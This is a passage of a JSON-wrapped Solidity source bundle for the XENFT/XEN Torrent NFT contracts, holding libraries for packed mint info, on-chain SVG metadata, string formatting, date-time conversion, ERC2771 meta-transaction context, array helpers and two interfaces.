"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
